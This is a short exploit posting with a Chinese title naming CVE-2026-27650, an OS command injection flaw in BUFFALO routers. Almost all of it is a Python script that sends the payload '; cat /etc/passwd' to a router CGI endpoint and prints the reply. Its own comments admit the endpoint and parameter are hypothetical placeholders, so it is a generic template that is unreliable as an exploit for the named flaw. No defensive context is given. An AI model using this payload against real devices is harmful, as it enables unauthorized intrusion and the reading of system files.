CVE-2026-27650 BUFFALO路由器OS命令注入漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-router-ip/cgi-bin/vulnerable_endpoint" # Malicious payload to inject OS command # Example: Cat /etc/passwd to demonstrate read access payload = "; cat /etc/passwd" # Data to be sent in the request # The parameter name 'cmd' is hypothetical; adjust based on actual vulnerability params data = { "param": payload } try: response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")